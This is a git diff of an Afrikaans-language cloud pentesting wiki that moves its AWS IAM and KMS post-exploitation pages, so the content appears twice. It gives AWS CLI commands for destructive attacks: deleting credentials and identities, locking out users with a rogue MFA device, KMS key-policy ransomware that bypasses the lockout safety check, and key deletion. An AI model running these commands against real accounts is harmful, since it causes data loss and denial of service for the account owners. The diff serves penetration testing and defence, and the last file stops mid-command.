tot 'n **role** in jou account te kry, sal jy waarskynlik **0 sigbaarheid** hê oor **wie presies daardie external account kan toegang**. Dit is 'n probleem, want as 'n ander external account (B) toegang tot die external account (A) het, is dit moontlik dat **B ook toegang tot jou account sal hê**. - -Daarom, wanneer jy 'n external account toelaat om toegang tot 'n role in jou account te kry, is dit moontlik om 'n `ExternalId` te spesifiseer. Dit is 'n "secret" string wat die external account (A) **moet spesifiseer** om die **assume the role in your organization**. Aangesien die **external account B hierdie string nie sal ken nie**, selfs al het hy toegang tot A, **sal hy nie in staat wees om toegang tot jou role te kry nie**. - -
- -Neem egter kennis dat hierdie `ExternalId` "secret" **nie 'n geheim is nie** — enigiemand wat die **IAM assume role policy kan lees** sal dit kan sien. Maar solank die external account A dit ken, maar die external account **B dit nie ken nie**, **voorkom dit dat B A misbruik om toegang tot jou role te kry**. - -Voorbeeld: -```json -{ -"Version": "2012-10-17", -"Statement": { -"Effect": "Allow", -"Principal": { -"AWS": "Example Corp's AWS Account ID" -}, -"Action": "sts:AssumeRole", -"Condition": { -"StringEquals": { -"sts:ExternalId": "12345" -} -} -} -} -``` -> [!WARNING] -> Om 'n attacker 'n confused deputy uit te buit, sal hy op een of ander manier moet vasstel of principals van die huidige account roles in ander accounts kan impersonate. - -### Onverwagte Vertroue - -#### Wildcard as principal -```json -{ -"Action": "sts:AssumeRole", -"Effect": "Allow", -"Principal": { "AWS": "*" } -} -``` -Hierdie beleid **laat alle AWS** toe om die rol aan te neem. - -#### Diens as principal -```json -{ -"Action": "lambda:InvokeFunction", -"Effect": "Allow", -"Principal": { "Service": "apigateway.amazonaws.com" }, -"Resource": "arn:aws:lambda:000000000000:function:foo" -} -``` -Hierdie beleid **laat enige rekening toe** om hul apigateway te konfigureer om hierdie Lambda aan te roep. - -#### S3 as hoofentiteit -```json -"Condition": { -"ArnLike": { "aws:SourceArn": "arn:aws:s3:::source-bucket" }, -"StringEquals": { -"aws:SourceAccount": "123456789012" -} -} -``` -As 'n S3 bucket as 'n principal gegee word, omdat S3 buckets nie 'n Account ID het nie, en as jy **deleted your bucket and the attacker created** dit in hul eie account, kan hulle dit misbruik. - -#### Nie ondersteun nie -```json -{ -"Effect": "Allow", -"Principal": { "Service": "cloudtrail.amazonaws.com" }, -"Action": "s3:PutObject", -"Resource": "arn:aws:s3:::myBucketName/AWSLogs/MY_ACCOUNT_ID/*" -} -``` -'n Algemene manier om Confused Deputy-probleme te vermy is die gebruik van 'n voorwaarde met `AWS:SourceArn` om die oorsprong-ARN te kontroleer. Maar **sommige dienste ondersteun dit dalk nie** (soos CloudTrail volgens sekere bronne). - -### Credential Deletion -Met enige van die volgende permissies — `iam:DeleteAccessKey`, `iam:DeleteLoginProfile`, `iam:DeleteSSHPublicKey`, `iam:DeleteServiceSpecificCredential`, `iam:DeleteInstanceProfile`, `iam:DeleteServerCertificate`, `iam:DeleteCloudFrontPublicKey`, `iam:RemoveRoleFromInstanceProfile` — kan 'n akteur access keys, login profiles, SSH keys, service-specific credentials, instance profiles, certificates of CloudFront public keys verwyder, of rolle van instance profiles ontkoppel. Sulke aksies kan onmiddellik wettige gebruikers en toepassings blokkeer en denial-of-service of verlies van toegang veroorsaak vir stelsels wat van daardie credentials afhanklik is, daarom moet hierdie IAM-permissies styf beperk en gemonitor word. -```bash -# Remove Access Key of a user -aws iam delete-access-key \ ---user-name \ ---access-key-id AKIAIOSFODNN7EXAMPLE - -## Remove ssh key of a user -aws iam delete-ssh-public-key \ ---user-name \ ---ssh-public-key-id APKAEIBAERJR2EXAMPLE -``` -### Identiteitsverwydering -Met toestemmings soos `iam:DeleteUser`, `iam:DeleteGroup`, `iam:DeleteRole`, of `iam:RemoveUserFromGroup`, kan 'n akteur gebruikers, rolle of groepe uitvee — of groepslidmaatskap verander — en sodoende identiteite en geassosieerde spore verwyder. Dit kan onmiddellik toegang vir persone en dienste wat op daardie identiteite staatmaak, onderbreek, wat denial-of-service of verlies van toegang kan veroorsaak; daarom moet hierdie IAM-aksies streng beperk en gemonitor word. -```bash -# Delete a user -aws iam delete-user \ ---user-name - -# Delete a group -aws iam delete-group \ ---group-name - -# Delete a role -aws iam delete-role \ ---role-name -``` -Met enigeen van die volgende toestemmings — `iam:DeleteGroupPolicy`, `iam:DeleteRolePolicy`, `iam:DeleteUserPolicy`, `iam:DeletePolicy`, `iam:DeletePolicyVersion`, `iam:DeleteRolePermissionsBoundary`, `iam:DeleteUserPermissionsBoundary`, `iam:DetachGroupPolicy`, `iam:DetachRolePolicy`, `iam:DetachUserPolicy` — kan 'n akteur managed/inline-beleide verwyder of ontkoppel, beleidweergawes of permissions boundaries verwyder, en beleide van gebruikers, groepe of rolle loskoppel. Dit vernietig magtigings en kan die toestemmingsmodel verander, wat onmiddellike verlies van toegang of diensweigering vir principals wat van daardie beleide afhanklik was, kan veroorsaak; daarom moet hierdie IAM-aksies streng beperk en gemonitor word. -```bash -# Delete a group policy -aws iam delete-group-policy \ ---group-name \ ---policy-name - -# Delete a role policy -aws iam delete-role-policy \ ---role-name \ ---policy-name -``` -### Verwydering van Gefedereerde Identiteit -Met `iam:DeleteOpenIDConnectProvider`, `iam:DeleteSAMLProvider`, en `iam:RemoveClientIDFromOpenIDConnectProvider` kan 'n akteur OIDC/SAML-identiteitsverskaffers verwyder of client‑IDs verwyder. Dit breek gefedereerde verifikasie, verhoed token‑validasie en ontken onmiddellik toegang aan gebruikers en dienste wat op SSO staatmaak totdat die IdP of die konfigurasies herstel is. -```bash -# Delete OIDCP provider -aws iam delete-open-id-connect-provider \ ---open-id-connect-provider-arn arn:aws:iam::111122223333:oidc-provider/accounts.google.com - -# Delete SAML provider -aws iam delete-saml-provider \ ---saml-provider-arn arn:aws:iam::111122223333:saml-provider/CorporateADFS -``` -### Onregmatige MFA-aktivering -Met `iam:EnableMFADevice` kan 'n akteur 'n MFA-toestel op 'n gebruiker se identiteit registreer, wat die wettige gebruiker verhinder om aan te meld. Sodra 'n ongemagtigde MFA geaktiveer is, kan die gebruiker uitgesluit word totdat die toestel verwyder of teruggestel is (nota: as verskeie MFA-toestelle geregistreer is, vereis aanmelding slegs een, dus sal hierdie aanval geen effek hê om toegang te weier nie). -```bash -aws iam enable-mfa-device \ ---user-name \ ---serial-number arn:aws:iam::111122223333:mfa/alice \ ---authentication-code1 123456 \ ---authentication-code2 789012 -``` -### Sertifikaat/Sleutel-metagegewensmanipulasie -Met `iam:UpdateSSHPublicKey`, `iam:UpdateCloudFrontPublicKey`, `iam:UpdateSigningCertificate`, `iam:UpdateServerCertificate` kan 'n akteur die status of metagegewens van openbare sleutels en sertifikate verander. Deur sleutels/sertifikate as onaktief te merk of verwysings te verander, kan hulle SSH-verifikasie breek, X.509/TLS-validerings ongeldig maak, en onmiddellik dienste wat op daardie geloofsbriewe staatmaak ontwrig, wat lei tot verlies van toegang of beskikbaarheid. -```bash -aws iam update-ssh-public-key \ ---user-name \ ---ssh-public-key-id APKAEIBAERJR2EXAMPLE \ ---status Inactive - -aws iam update-server-certificate \ ---server-certificate-name \ ---new-path /prod/ -``` -## Verwysings - -- [https://docs.aws.amazon.com/IAM/latest/UserGuide/confused-deputy.html](https://docs.aws.amazon.com/IAM/latest/UserGuide/confused-deputy.html) - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation/README.md new file mode 100644 index 000000000..9a128bea8 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation/README.md @@ -0,0 +1,166 @@ +# AWS - IAM Post Exploitation + +{{#include ../../../../banners/hacktricks-training.md}} + +## IAM + +Vir meer inligting oor IAM toegang: + +{{#ref}} +../../aws-services/aws-iam-enum.md +{{#endref}} + +## Confused Deputy Problem + +As jy **allow an external account (A)** to access a **role** in jou rekening, sal jy waarskynlik **0 visibility** hê oor **who can exactly access that external account**. Dit is 'n probleem, want as 'n ander external account (B) toegang tot external account (A) het, is dit moontlik dat **B will also be able to access your account**. + +Therefore, wanneer jy 'n external account toelaat om toegang tot 'n role in jou rekening te kry is dit moontlik om 'n `ExternalId` te spesifiseer. Dit is 'n "geheim" string wat die external account (A) **need to specify** in order to **assume the role in your organization**. As die **external account B won't know this string**, selfs al het hy toegang tot A sal hy **won't be able to access your role**. + +
+ +However, let op dat hierdie `ExternalId` "secret" **not a secret** is; enigiemand wat die **IAM assume role policy can read** sal dit kan sien. Maar solank die external account A dit weet, en die external account **B doesn't know it**, voorkom dit dat **B abusing A to access your role**. + +Example: +```json +{ +"Version": "2012-10-17", +"Statement": { +"Effect": "Allow", +"Principal": { +"AWS": "Example Corp's AWS Account ID" +}, +"Action": "sts:AssumeRole", +"Condition": { +"StringEquals": { +"sts:ExternalId": "12345" +} +} +} +} +``` +> [!WARNING] +> Om 'n attacker 'n confused deputy te kan uitbuit, sal hy op een of ander manier moet bepaal of principals van die huidige account rolle in ander accounts kan impersonate. + +### Onverwagte vertrouensverhoudings + +#### Wildekaart as principal +```json +{ +"Action": "sts:AssumeRole", +"Effect": "Allow", +"Principal": { "AWS": "*" } +} +``` +Hierdie beleid **laat alle AWS** toe om die rol aan te neem. + +#### Diens as hoofpersoon +```json +{ +"Action": "lambda:InvokeFunction", +"Effect": "Allow", +"Principal": { "Service": "apigateway.amazonaws.com" }, +"Resource": "arn:aws:lambda:000000000000:function:foo" +} +``` +Hierdie beleid **laat enige rekening toe** om hul apigateway te konfigureer om hierdie Lambda aan te roep. + +#### S3 as prinsipaal +```json +"Condition": { +"ArnLike": { "aws:SourceArn": "arn:aws:s3:::source-bucket" }, +"StringEquals": { +"aws:SourceAccount": "123456789012" +} +} +``` +As 'n S3 bucket as principal gegee word, omdat S3 buckets geen Account ID het nie, as jy **jou bucket verwyder het en die aanvaller dit geskep het** in hul eie account, dan kan hulle dit misbruik. + +#### Nie ondersteun nie +```json +{ +"Effect": "Allow", +"Principal": { "Service": "cloudtrail.amazonaws.com" }, +"Action": "s3:PutObject", +"Resource": "arn:aws:s3:::myBucketName/AWSLogs/MY_ACCOUNT_ID/*" +} +``` +'n Algemene manier om Confused Deputy-probleme te vermy is die gebruik van 'n voorwaarde met `AWS:SourceArn` om die oorsprong ARN te kontroleer. **Sommige dienste mag dit egter nie ondersteun nie** (soos CloudTrail volgens sommige bronne). + +### Verwydering van credentials +Met enige van die volgende permissies — `iam:DeleteAccessKey`, `iam:DeleteLoginProfile`, `iam:DeleteSSHPublicKey`, `iam:DeleteServiceSpecificCredential`, `iam:DeleteInstanceProfile`, `iam:DeleteServerCertificate`, `iam:DeleteCloudFrontPublicKey`, `iam:RemoveRoleFromInstanceProfile` — kan 'n akteur access keys, login profiles, SSH keys, service-specific credentials, instance profiles, certificates of CloudFront public keys verwyder, of roles van instance profiles loskoppel. Sulke optrede kan onmiddellike blokkering van wettige gebruikers en toepassings veroorsaak en tot denial-of-service of verlies van toegang vir stelsels wat op daardie credentials staatmaak lei; daarom moet hierdie IAM-permissies noukeurig beperk en gemonitor word. +```bash +# Remove Access Key of a user +aws iam delete-access-key \ +--user-name \ +--access-key-id AKIAIOSFODNN7EXAMPLE + +## Remove ssh key of a user +aws iam delete-ssh-public-key \ +--user-name \ +--ssh-public-key-id APKAEIBAERJR2EXAMPLE +``` +### Identiteitsverwydering +Met toestemmings soos `iam:DeleteUser`, `iam:DeleteGroup`, `iam:DeleteRole`, of `iam:RemoveUserFromGroup`, kan 'n akteur gebruikers, rolle of groepe verwyder—of groepslidmaatskap verander—waardeur identiteite en geassosieerde spore verwyder word. Dit kan onmiddellik toegang verbreek vir mense en dienste wat van daardie identiteite afhanklik is, wat denial-of-service of verlies van toegang kan veroorsaak, dus moet hierdie IAM-aksies styf beperk en gemonitor word. +```bash +# Delete a user +aws iam delete-user \ +--user-name + +# Delete a group +aws iam delete-group \ +--group-name + +# Delete a role +aws iam delete-role \ +--role-name +``` +### +Met enige van die volgende toestemmings — `iam:DeleteGroupPolicy`, `iam:DeleteRolePolicy`, `iam:DeleteUserPolicy`, `iam:DeletePolicy`, `iam:DeletePolicyVersion`, `iam:DeleteRolePermissionsBoundary`, `iam:DeleteUserPermissionsBoundary`, `iam:DetachGroupPolicy`, `iam:DetachRolePolicy`, `iam:DetachUserPolicy` — kan 'n akteur beheerde/inline-beleide verwyder of loskoppel, beleidsweergawes of toestemmingsgrense skrap, en beleide van gebruikers, groepe of rolle ontkoppel. Dit vernietig verlenings en kan die toestemmingsmodel verander, wat onmiddellike verlies van toegang of diensweiering vir geprinsipale wat op daardie beleide staatgemaak het, tot gevolg kan hê; daarom moet hierdie IAM-aksies streng beperk en gemonitor word. +```bash +# Delete a group policy +aws iam delete-group-policy \ +--group-name \ +--policy-name + +# Delete a role policy +aws iam delete-role-policy \ +--role-name \ +--policy-name +``` +### Verwydering van Gefedereerde Identiteit +Met `iam:DeleteOpenIDConnectProvider`, `iam:DeleteSAMLProvider` en `iam:RemoveClientIDFromOpenIDConnectProvider` kan 'n actor OIDC/SAML identiteitsverskaffers verwyder of kliënt-ID's verwyder. Dit breek gefedereerde verifikasie, voorkom token-validasie en weier onmiddellik toegang aan gebruikers en dienste wat op SSO staat totdat die IdP of konfigurasies herstel is. +```bash +# Delete OIDCP provider +aws iam delete-open-id-connect-provider \ +--open-id-connect-provider-arn arn:aws:iam::111122223333:oidc-provider/accounts.google.com + +# Delete SAML provider +aws iam delete-saml-provider \ +--saml-provider-arn arn:aws:iam::111122223333:saml-provider/CorporateADFS +``` +### Onregmatige MFA-aktivering +Met `iam:EnableMFADevice` kan 'n akteur 'n MFA-toestel op 'n gebruiker se identiteit registreer, wat die regmatige gebruiker verhinder om aan te meld. Sodra 'n ongemagtigde MFA geaktiveer is, kan die gebruiker uitgesluit word totdat die toestel verwyder of teruggestel is (let wel: as meer as een MFA-toestel geregistreer is, vereis aanmelding slegs een, dus sal hierdie aanval nie toegang kan blokkeer nie). +```bash +aws iam enable-mfa-device \ +--user-name \ +--serial-number arn:aws:iam::111122223333:mfa/alice \ +--authentication-code1 123456 \ +--authentication-code2 789012 +``` +### Sertifikaat-/sleutelmetadata-manipulasie +Met `iam:UpdateSSHPublicKey`, `iam:UpdateCloudFrontPublicKey`, `iam:UpdateSigningCertificate`, `iam:UpdateServerCertificate`, kan 'n akteur die status of metadata van publieke sleutels en sertifikate verander. Deur sleutels/sertifikate as inaktief te merk of verwysings te verander, kan hulle SSH-verifikasie breek, X.509/TLS-validasies ongeldig maak en dienste wat op daardie credentials staatmaak onmiddellik ontwrig, wat tot verlies van toegang of beskikbaarheid lei. +```bash +aws iam update-ssh-public-key \ +--user-name \ +--ssh-public-key-id APKAEIBAERJR2EXAMPLE \ +--status Inactive + +aws iam update-server-certificate \ +--server-certificate-name \ +--new-path /prod/ +``` +## Verwysings + +- [https://docs.aws.amazon.com/IAM/latest/UserGuide/confused-deputy.html](https://docs.aws.amazon.com/IAM/latest/UserGuide/confused-deputy.html) + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md deleted file mode 100644 index 50d2b59ae..000000000 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md +++ /dev/null @@ -1,182 +0,0 @@ -# AWS - KMS Post Exploitation - -{{#include ../../../banners/hacktricks-training.md}} - -## KMS - -Vir meer inligting, sien: - -{{#ref}} -../aws-services/aws-kms-enum.md -{{#endref}} - -### Enkripteer/dekripteer inligting - -`fileb://` and `file://` are URI-skema's wat in AWS CLI-opdragte gebruik word om die pad na plaaslike lêers aan te dui: - -- `fileb://:` Lees die lêer in binêre modus, algemeen gebruik vir nie-tekstuele lêers. -- `file://:` Lees die lêer in teksmodus, tipies gebruik vir gewone tekslêers, skripte, of JSON wat nie spesiale kodering benodig nie. - -> [!TIP] -> Let wel: as jy data binne 'n lêer wil dekripteer, moet die lêer die binêre data bevat, nie base64-gekodeerde data nie. (fileb://) - -- Gebruik 'n **symmetriese** sleutel -```bash -# Encrypt data -aws kms encrypt \ ---key-id f0d3d719-b054-49ec-b515-4095b4777049 \ ---plaintext fileb:///tmp/hello.txt \ ---output text \ ---query CiphertextBlob | base64 \ ---decode > ExampleEncryptedFile - -# Decrypt data -aws kms decrypt \ ---ciphertext-blob fileb://ExampleEncryptedFile \ ---key-id f0d3d719-b054-49ec-b515-4095b4777049 \ ---output text \ ---query Plaintext | base64 \ ---decode -``` -- Gebruik van 'n **asimmetriese** sleutel: -```bash -# Encrypt data -aws kms encrypt \ ---key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \ ---encryption-algorithm RSAES_OAEP_SHA_256 \ ---plaintext fileb:///tmp/hello.txt \ ---output text \ ---query CiphertextBlob | base64 \ ---decode > ExampleEncryptedFile - -# Decrypt data -aws kms decrypt \ ---ciphertext-blob fileb://ExampleEncryptedFile \ ---encryption-algorithm RSAES_OAEP_SHA_256 \ ---key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \ ---output text \ ---query Plaintext | base64 \ ---decode -``` -### KMS Ransomware - -'n Aanvaller met bevoorregte toegang tot KMS kan die KMS-beleid van sleutels wysig en **sy rekening toegang tot hulle gee**, en die toegang wat aan die regmatige rekening gegee is verwyder. - -Daarna sal gebruikers van die regmatige rekening nie toegang hê tot enige inligting van enige diens wat met daardie sleutels geënkripteer is nie, wat 'n eenvoudige maar effektiewe ransomware-aanval op die rekening skep. - -> [!WARNING] -> Neem kennis dat **AWS managed keys aren't affected** deur hierdie aanval, slegs **Customer managed keys**. - -> Let ook op dat die parameter **`--bypass-policy-lockout-safety-check`** gebruik moet word (die afwesigheid van hierdie opsie in die web console maak hierdie aanval slegs moontlik vanaf die CLI). -```bash -# Force policy change -aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \ ---policy-name default \ ---policy file:///tmp/policy.yaml \ ---bypass-policy-lockout-safety-check - -{ -"Id": "key-consolepolicy-3", -"Version": "2012-10-17", -"Statement": [ -{ -"Sid": "Enable IAM User Permissions", -"Effect": "Allow", -"Principal": { -"AWS": "arn:aws:iam:::root" -}, -"Action": "kms:*", -"Resource": "*" -} -] -} -``` -> [!CAUTION] -> Let daarop dat as jy daardie beleid verander en slegs toegang aan 'n eksterne rekening gee, en dan van hierdie eksterne rekening probeer 'n nuwe beleid instel om **die toegang terug te gee aan die oorspronklike rekening, sal jy dit nie kan doen aangesien die Put Policy-aksie nie van 'n cross-account uitgevoer kan word nie**. - -
- -### Generic KMS Ransomware - -Daar is nog 'n manier om 'n globale KMS Ransomware uit te voer, wat die volgende stappe behels: - -- Skep 'n nuwe **key with a key material** wat deur die aanvaller ingevoer is -- **Re-encrypt older data** van die slagoffer wat met die vorige weergawe geënkripteer is, met die nuwe een. -- **Delete the KMS key** -- Nou sal slegs die aanvaller, wat die oorspronklike key material het, in staat wees om die geënkripteerde data te ontsleutel - -### Delete Keys via kms:DeleteImportedKeyMaterial - -With the `kms:DeleteImportedKeyMaterial` permission, an actor can delete the imported key material from CMKs with `Origin=EXTERNAL` (CMKs that have imperted their key material), making them unable to decrypt data. This action is destructive and irreversible unless compatible material is re-imported, allowing an attacker to effectively cause ransomware-like data loss by rendering encrypted information permanently inaccessible. -```bash -aws kms delete-imported-key-material --key-id -``` -### Vernietig sleutels - -Deur sleutels te vernietig, is dit moontlik om 'n DoS uit te voer. -```bash -# Schedule the destoy of a key (min wait time is 7 days) -aws kms schedule-key-deletion \ ---key-id arn:aws:kms:us-west-2:123456789012:key/1234abcd-12ab-34cd-56ef-1234567890ab \ ---pending-window-in-days 7 -``` -> [!CAUTION] -> Neem asseblief kennis dat AWS nou **verhoed dat die vorige aksies van 'n kruistrekening uitgevoer word:** - -### Change or delete Alias -Hierdie aanval verwyder of herlei AWS KMS-aliases, breek sleuteloplossing en veroorsaak onmiddellike foute in enige dienste wat op daardie aliasse staatmaak, wat lei tot 'n denial-of-service. Met toestemmings soos `kms:DeleteAlias` of `kms:UpdateAlias` kan 'n aanvaller aliasse verwyder of heraanwys en kriptografiese operasies ontwrig (bv. encrypt, describe). Enige diens wat na die alias verwys in plaas van die key ID kan misluk totdat die alias herstel is of korrek opnuut gemap is. -```bash -# Delete Alias -aws kms delete-alias --alias-name alias/ - -# Update Alias -aws kms update-alias \ ---alias-name alias/ \ ---target-key-id -``` -### Cancel Key Deletion -Met toestemmings soos `kms:CancelKeyDeletion` en `kms:EnableKey` kan 'n akteur 'n geskeduleerde uitwissing van 'n AWS KMS customer master key kanselleer en dit later weer aktiveer. Dit herstel die sleutel (aanvanklik in Disabled state) en herstel sy vermoë om voorheen beskermde data te ontsleutel, wat exfiltration moontlik maak. -```bash -# Firts cancel de deletion -aws kms cancel-key-deletion \ ---key-id - -## Second enable the key -aws kms enable-key \ ---key-id -``` -### Deaktiveer Sleutel -Met die `kms:DisableKey`-toestemming kan 'n akteur 'n AWS KMS customer master key (CMK) deaktiveer, wat verhoed dat dit vir enkripsie of dekripsie gebruik word. Dit breek toegang vir enige dienste wat van daardie CMK afhanklik is en kan onmiddellike ontwrigtinge of 'n denial-of-service' veroorsaak totdat die sleutel weer geaktiveer word. -```bash -aws kms disable-key \ ---key-id -``` -### Derive Shared Secret -Met die `kms:DeriveSharedSecret`-toestemming kan 'n akteur 'n private key wat deur KMS gehou word, saam met 'n deur die gebruiker verskafte public key gebruik om 'n ECDH shared secret te bereken. -```bash -aws kms derive-shared-secret \ ---key-id \ ---public-key fileb:/// \ ---key-agreement-algorithm -``` -### Impersonation via kms:Sign -Met die `kms:Sign`-toestemming kan 'n akteur 'n KMS-stored CMK gebruik om data kriptografies te teken sonder om die private key bloot te stel, waardeur geldige signatures geskep word wat impersonation kan moontlik maak of kwaadwillige aksies kan magtig. -```bash -aws kms sign \ ---key-id \ ---message fileb:// \ ---signing-algorithm \ ---message-type RAW -``` -### DoS met Custom Key Stores -Met toestemmings soos `kms:DeleteCustomKeyStore`, `kms:DisconnectCustomKeyStore`, of `kms:UpdateCustomKeyStore` kan 'n akteur 'n AWS KMS Custom Key Store (CKS) wysig, ontkoppel of verwyder, waardeur die meester-sleutels onbruikbaar raak. Dit breek versleuteling, ontsleuteling en ondertekeningsoperasies vir enige dienste wat op daardie sleutels staatmaak en kan 'n onmiddellike denial-of-service veroorsaak. Om daardie toestemmings te beperk en te monitor is dus krities. -```bash -aws kms delete-custom-key-store --custom-key-store-id - -aws kms disconnect-custom-key-store --custom-key-store-id - -aws kms update-custom-key-store --custom-key-store-id --new-custom-key-store-name --key-store-password -``` -
- -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation/README.md new file mode 100644 index 000000000..df558de8a --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation/README.md @@ -0,0 +1,182 @@ +# AWS - KMS Post Exploitation + +{{#include ../../../../banners/hacktricks-training.md}} + +## KMS + +Vir meer inligting, sien: + +{{#ref}} +../../aws-services/aws-kms-enum.md +{{#endref}} + +### Encrypt/Decrypt inligting + +`fileb://` and `file://` are URI-skemas wat in AWS CLI-opdragte gebruik word om die pad na plaaslike lêers te spesifiseer: + +- `fileb://:` Lees die lêer in binêre modus, algemeen gebruik vir nie-tekslêers. +- `file://:` Lees die lêer in teksmodus, tipies gebruik vir gewone tekslêers, skripte, of JSON wat nie spesiale koderingvereistes het nie. + +> [!TIP] +> Let wel dat as jy sommige data binne 'n lêer wil decrypt, moet die lêer die binêre data bevat, nie base64-geënkodeerde data nie. (fileb://) + +- Gebruik 'n **symmetric** sleutel +```bash +# Encrypt data +aws kms encrypt \ +--key-id f0d3d719-b054-49ec-b515-4095b4777049 \ +--plaintext fileb:///tmp/hello.txt \ +--output text \ +--query CiphertextBlob | base64 \ +--decode > ExampleEncryptedFile + +# Decrypt data +aws kms decrypt \ +--ciphertext-blob fileb://ExampleEncryptedFile \ +--key-id f0d3d719-b054-49ec-b515-4095b4777049 \ +--output text \ +--query Plaintext | base64 \ +--decode +``` +- Gebruik 'n **asimmetriese** sleutel: +```bash +# Encrypt data +aws kms encrypt \ +--key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \ +--encryption-algorithm RSAES_OAEP_SHA_256 \ +--plaintext fileb:///tmp/hello.txt \ +--output text \ +--query CiphertextBlob | base64 \ +--decode > ExampleEncryptedFile + +# Decrypt data +aws kms decrypt \ +--ciphertext-blob fileb://ExampleEncryptedFile \ +--encryption-algorithm RSAES_OAEP_SHA_256 \ +--key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \ +--output text \ +--query Plaintext | base64 \ +--decode +``` +### KMS Ransomware + +An attacker met bevoorregte toegang tot KMS kan die KMS policy van sleutels wysig en **sy account toegang tot hulle gee**, en sodoende die toegang wat aan die legit account verleen is, verwyder. + +Dan sal die legit account gebruikers nie toegang hê tot enige inligting van enige diens wat met daardie sleutels versleuteld is nie, wat 'n maklike maar effektiewe ransomware oor die account skep. + +> [!WARNING] +> Note that **AWS managed keys aren't affected** by this attack, only **Customer managed keys**. + +> Also note the need to use the param **`--bypass-policy-lockout-safety-check`** (the lack of this option in the web console makes this attack only possible from the CLI). +```bash +# Force policy change +aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \ +--policy-name default \ +--policy file:///tmp/policy.yaml \ +--bypass-policy-lockout-safety-check + +{ +"Id": "key-consolepolicy-3", +"Version": "2012-10-17", +"Statement": [ +{ +"Sid": "Enable IAM User Permissions", +"Effect": "Allow", +"Principal": { +"AWS": "arn:aws:iam:::root" +}, +"Action": "kms:*", +"Resource": "*" +} +] +} +``` +> [!CAUTION] +> Let wel dat as jy daardie beleid verander en slegs toegang aan 'n eksterne rekening gee, en dan vanaf hierdie eksterne rekening probeer om 'n nuwe beleid te stel om die toegang terug te gee aan die oorspronklike rekening, sal jy dit nie kan doen nie omdat die **Put Polocy action cannot be performed from a cross account**. + +
+ +### Generic KMS Ransomware + +Daar is nog 'n manier om 'n globale KMS Ransomware uit te voer, wat die volgende stappe behels: + +- Skep 'n nuwe **key with a key material** ingevoer deur die aanvaller +- **Re-encrypt older data** van die slagoffer wat met die vorige weergawe geïnkripteer is met die nuwe een. +- **Delete the KMS key** +- Nou sal slegs die aanvaller, wat die oorspronklike key material het, in staat wees om die geïnkripteerde data te ontsleutel + +### Delete Keys via kms:DeleteImportedKeyMaterial + +Met die `kms:DeleteImportedKeyMaterial` toestemming kan 'n akteur die imported key material van CMKs met `Origin=EXTERNAL` (CMKs wat hul key material ingevoer het) verwyder, wat hulle onmoontlik sal maak om data te ontsleutel. Hierdie aksie is vernietigend en onomkeerbaar tensy kompatibele materiaal weer ingevoer word, wat 'n aanvaller effektief toelaat om ransomware-agtige dataverlies te veroorsaak deur geïnkripteerde inligting permanent ontoeganklik te maak. +```bash +aws kms delete-imported-key-material --key-id +``` +### Destroy keys + +Deur sleutels te vernietig, is dit moontlik om 'n DoS uit te voer. +```bash +# Schedule the destoy of a key (min wait time is 7 days) +aws kms schedule-key-deletion \ +--key-id arn:aws:kms:us-west-2:123456789012:key/1234abcd-12ab-34cd-56ef-1234567890ab \ +--pending-window-in-days 7 +``` +> [!CAUTION] +> Let daarop dat AWS nou **voorkom dat die vorige aksies van 'n kruis-rekening uitgevoer word:** + +### Verander of verwyder Alias +Hierdie aanval verwyder of herlei AWS KMS aliases, breek sleuteloplossing en veroorsaak onmiddellike foute in enige dienste wat op daardie aliases staatmaak, wat lei tot 'n denial-of-service. Met permissies soos `kms:DeleteAlias` of `kms:UpdateAlias` kan 'n aanvaller aliases verwyder of herlei en kriptografiese operasies (bv. encrypt, describe) ontwrig. Enige diens wat na die alias verwys in plaas van die key ID kan misluk totdat die alias herstel of korrek herkaarteer is. +```bash +# Delete Alias +aws kms delete-alias --alias-name alias/ + +# Update Alias +aws kms update-alias \ +--alias-name alias/ \ +--target-key-id +``` +### Kanselleer Sleutelverwydering +Met toestemmings soos `kms:CancelKeyDeletion` en `kms:EnableKey` kan 'n bedreigingsakteur 'n geskeduleerde verwydering van 'n AWS KMS customer master key kanselleer en dit later heraktiveer. Dit herstel die sleutel (aanvanklik in Disabled state) en herstel sy vermoë om voorheen beskermde data te ontsleutel, waardeur exfiltration moontlik word. +```bash +# Firts cancel de deletion +aws kms cancel-key-deletion \ +--key-id + +## Second enable the key +aws kms enable-key \ +--key-id +``` +### Disable Key +Met die `kms:DisableKey`-toestemming kan 'n akteur 'n AWS KMS customer master key deaktiveer, wat verhoed dat dit vir enkripsie of dekripsie gebruik word. Dit breek die toegang vir enige dienste wat van daardie CMK afhanklik is en kan onmiddellike ontwrigting of 'n diensweigering veroorsaak totdat die sleutel weer geaktiveer word. +```bash +aws kms disable-key \ +--key-id +``` +### Aflei van 'n gedeelde geheim +Met die `kms:DeriveSharedSecret`-toestemming kan 'n akteur 'n deur KMS gehoude private sleutel en 'n deur 'n gebruiker verskafde publieke sleutel gebruik om 'n ECDH-gedeelde geheim te bereken. +```bash +aws kms derive-shared-secret \ +--key-id \ +--public-key fileb:/// \ +--key-agreement-algorithm +``` +### Impersonation via kms:Sign +Met die `kms:Sign` toestemming kan 'n akteur 'n KMS-stored CMK gebruik om data kriptografies te teken sonder om die private sleutel bloot te stel, waardeur geldige handtekeninge gegenereer word wat impersonation moontlik kan maak of kwaadwillige aksies kan magtig. +```bash +aws kms sign \ +--key-id \ +--message fileb:// \ +--signing-algorithm 